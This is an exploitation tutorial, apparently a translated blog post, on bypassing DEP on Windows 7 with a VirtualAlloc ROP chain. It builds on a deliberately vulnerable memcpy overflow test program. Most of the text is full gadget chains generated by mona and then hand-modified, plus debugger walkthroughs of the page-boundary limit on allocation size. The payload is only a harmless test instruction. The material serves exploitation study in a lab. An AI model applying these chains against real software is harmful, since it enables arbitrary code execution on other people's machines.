0x00 Preface
---
Next, we introduce another method for bypassing DEP—using VirtualAlloc to bypass DEP. The VirtualAlloc function can allocate a section of memory with executable attributes. Compared to VirtualProtect, the four parameters passed to VirtualAlloc do not need to be read first and then assigned; they can be directly specified in the shellcode, making the structure simpler. Of course, using the mona plugin in Immunity Debugger can automatically construct a ROP chain to bypass DEP with VirtualAlloc.
0x01 Introduction
---
This article will cover the following topics:
- The bug and its fix when calling the VirtualAlloc function
- Selecting appropriate alternative instructions, modifying the mona-generated ROP chain to achieve exploitation
- Details to consider when using VirtualAlloc to bypass DEP, such as requirements for shellcode length
0x02 Related Concepts
---
VirtualAlloc:
LPVOID WINAPI VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
)
lpAddress: Address of the memory region to allocate
dwSize: Size of the memory region to allocate
flAllocationType: Type of memory allocation
flProtect: Memory access control type
The function returns the starting address of the allocated memory on success, or NULL on failure
0x03 Actual Testing
---
Test Environment:
- Test System: Win 7
- Compiler: VS2012
- Build Version: Release
Project Properties:
- Disable GS
- Disable Optimization
- Disable SEH
- Enable DEP
- Disable ASLR
- Disable C++ Exceptions
- Disable Intrinsic Functions
Note:
Detailed configuration methods are explained in the previous article
Also testing buffer overflow for memcpy, the test POC is as follows:
unsigned int shellcode[]= { 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x41414141, 0x41414141 }; void test() { char buffer[48]; printf("3\n"); memcpy(buffer,shellcode,sizeof(shellcode)); } int main() { printf("1\n"); test(); return 0; } |
Compile into an exe and open with Immunity Debugger
Use the mona plugin to automatically generate a ROP chain, input:
!mona rop -m *.dll -cp nonull
Check rop_chains.txt, which will list ROP chains that can be used to disable DEP
Select the VirtualAlloc function, details as follows:
Register setup for VirtualAlloc() : -------------------------------------------- EAX = NOP (0x90909090) ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualAlloc() EDI = ROP NOP (RETN) --- alternative chain --- EAX = ptr to &VirtualAlloc() ECX = flProtect (0x40) EDX = flAllocationType (0x1000) EBX = dwSize ESP = lpAddress (automatic) EBP = POP (skip 4 bytes) ESI = ptr to JMP [EAX] EDI = ROP NOP (RETN) + place ptr to "jmp esp" on stack, below PUSHAD --------------------------------------------
ROP Chain for VirtualAlloc() [(XP/2003 Server and up)] : -------------------------------------------------------- *** [ C ] ***
#define CREATE_ROP_CHAIN(name, ...) \ int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \ unsigned int name[name##_length / sizeof(unsigned int)]; \ create_rop_chain(name, ##__VA_ARGS__);
int create_rop_chain(unsigned int *buf, unsigned int ) { // rop chain generated with mona.py - www.corelan.be unsigned int rop_gadgets[] = { 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] }; if(buf != NULL) { memcpy(buf, rop_gadgets, sizeof(rop_gadgets)); }; return sizeof(rop_gadgets); }
// use the 'rop_chain' variable after this call, it's just an unsigned int[] CREATE_ROP_CHAIN(rop_chain, ); // alternatively just allocate a large enough buffer and get the rop chain, i.e.: // unsigned int rop_chain[256]; // int rop_chain_length = create_rop_chain(rop_chain, ); |
Test 1:
Fill in the above ROP chain, then add the test command:
The corresponding machine code is 0x9059016A
The combined POC is as follows:
unsigned int shellcode[]= { 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll] 0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] 0x9059016A, //PUSH 1 // POP ECX 0x90909090 0x90909090, 0x90909090, 0x90909090 }; void test() { char buffer[48]; printf("3\n"); memcpy(buffer,shellcode,sizeof(shellcode)); } int main() { printf("1\n"); test(); char Buf[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; return 0; } |
Open with OllyDbg, step through to the entry point of the VirtualAllocEx() function

As shown in the figure, examine the passed function parameters
The starting address of the allocated memory region is 0x0012FF38
The size of the allocated memory region is 0x0000D101, converted to decimal is 53505
The type of allocated memory is 0x00001000
The requested memory access control type is 0x00000040, i.e., PAGE_EXECUTE_READWRITE
Press F8 to step through, as shown in the figure

The return value EAX is 0, indicating generation failure
To find the cause, based on previous experience, it is speculated that the requested memory region is too long
Test 2:
Attempt to modify the memory size
The starting address of the requested memory region is 0x0012FF38, with 200 bytes remaining to the end of the current memory page (0x00130000 - 0x0012FF38)
It is speculated that the modified memory length must be less than or equal to 200 to meet the condition

As shown in the figure above, set the memory length to 200 (0x000000C8)
Press F8 to step through, as shown in the figure below

The request is successful, and the function returns the starting address of the allocated memory
It is particularly important to note that this is the starting address of the current memory page: 0x0012F000 (not the passed memory starting address 0x0012FF38)
Test 3:
Test again, set length to 201, memory allocation failed
Based on the above test results, speculation: VirtualAllocEx() function cannot allocate memory across memory pages
Test 4:
Continue testing, set length to 1, function returns the starting address of the current memory page: 0x0012F000, and shellcode executes successfully
Indicates that the passed function length has no effect on memory allocation, but the starting address plus the requested memory must be less than the length of the current memory page
That is, during overflow, the memory size allocated through the VirtualAllocEx() function is a fixed value
Now, we have manually modified the stack address to bypass DEP. Next, we will find suitable replacement instructions to build our own ROP chain and fix the BUG generated by mona automation
PUSHAD pushes all register values onto the stack in the order: EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI
Trace to PUSHAD, as shown in the figure

EBX stores the memory length, need to modify EBX to a value less than 201
0x04 Find replacement instructions, construct ROP chain
---
Find suitable replacement instructions in rop.txt

As shown in the figure above, search for the keyword EBX and find a suitable alternative instruction:
0x771c80a2 : # XOR EAX,EAX # POP EBX # RETN ** [kernel32.dll] ** | {PAGE_EXECUTE_READ}
XOR EAX,EAX will clear the value of register EAX
POP EBX will take a value from the top of the stack and assign it to EBX
Choose an appropriate location and assign a value to EBX, note:
This instruction clears the value of register EAX, so a location independent of the EAX register value needs to be found
POP EBX will read the content of the next instruction and assign it to EBX, so just follow it with the value for EBX, e.g., 0x00000028, // Set EBX=0x00000028(40)
Find a suitable location to place it before 0x693a7031, // POP EAX // RETN [MSVCR110.dll]
The complete shellcode is as follows:
unsigned int shellcode[]= { 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090,0x90909090,0x90909090,0x90909090, 0x90909090, 0x693a2e92, // POP ECX // RETN [MSVCR110.dll] 0x693bd19c, // ptr to &VirtualAlloc() [IAT MSVCR110.dll] 0x69353486, // MOV EAX,DWORD PTR DS:[ECX] // RETN [MSVCR110.dll] 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] 0x69370742, // POP EBP // RETN [MSVCR110.dll] 0x75dac58d, // & call esp [KERNELBASE.dll] 0x6932ea52, // POP EAX // RETN [MSVCR110.dll] 0xffffffff, // Value to negate, will become 0x00000001 0x69353746, // NEG EAX // RETN [MSVCR110.dll] 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] 0x77216829, // POP EAX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0xa2800fc0, // put delta into eax (-> put 0x00001000 into edx) 0x7721502a, // ADD EAX,5D800040 // RETN 0x04 [kernel32.dll] 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] 0x41414141, // Filler (RETN offset compensation) 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] 0xffffffc0, // Value to negate, will become 0x00000040 0x69354484, // NEG EAX // RETN [MSVCR110.dll] 0x771d0946, // XCHG EAX,ECX // RETN [kernel32.dll] 0x6935e68f, // POP EDI // RETN [MSVCR110.dll] 0x69354486, // RETN (ROP NOP) [MSVCR110.dll]
0x771c80a2, // # XOR EAX,EAX # POP EBX # RETN [kernel32.dll] | {PAGE_EXECUTE_READ} 0x00000028, // Set EBX=0x00000028(40)
0x693a7031, // POP EAX // RETN [MSVCR110.dll] 0x90909090, // nop 0x69390267, // PUSHAD // RETN [MSVCR110.dll] 0x9059016A, //PUSH 1 // POP ECX 0x90909090, 0x90909090, 0x90909090, 0x90909090 }; |
Recompile, open with OllyDbg, and single-step to the entry point of the VirtualAllocEx() function

As shown in the figure, examine the passed function parameters
The memory length has been modified to 0x00000028 (40), while other passed parameters are normal
Continue execution, enter CALL ESP, and the shellcode executes successfully
0x05 Summary
---
Similar to bypassing DEP using VirtualProtect, bypassing DEP with VirtualAlloc also requires attention to memory page length limitations. It is not possible to modify or allocate memory across pages, which imposes requirements on the length of the shellcode
Of course, normal API calls to implement VirtualProtect and VirtualAlloc do not encounter cross-memory page failure issues.
The ROP chain automatically generated by mona can serve as a reference template; by combining alternative instructions from rop.txt, a more suitable ROP chain can be constructed.